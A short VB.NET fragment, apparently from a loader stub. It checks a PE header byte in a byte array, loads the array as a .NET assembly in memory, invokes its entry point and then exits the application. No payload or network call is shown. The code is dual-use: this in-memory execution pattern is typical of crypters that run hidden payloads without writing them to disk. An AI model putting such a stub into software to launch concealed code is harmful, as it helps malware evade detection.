Public Sub Execute(ByVal bytes As Byte())
 	 Dim t As New Thread(AddressOf DoExecute)
	 t.TrySetApartmentState(ApartmentState.STA)
	 t.Start(bytes)
  End Sub


  Public Sub DoExecute(ByVal d As Byte())
	 If d(&H3C) = &H80 Then
	  Dim asm As Assembly = Assembly.Load(d)
 	  Dim entryPoint As MethodInfo = asm.EntryPoint
	  Dim o As Object() = Nothing
	
	  If entryPoint.GetParameters().Length > 0 Then
		  o = New Object() {New String() {"1"}}
	  End If

	  entryPoint.Invoke(Nothing, o)

	  Application.Exit()

	 End If
  End Sub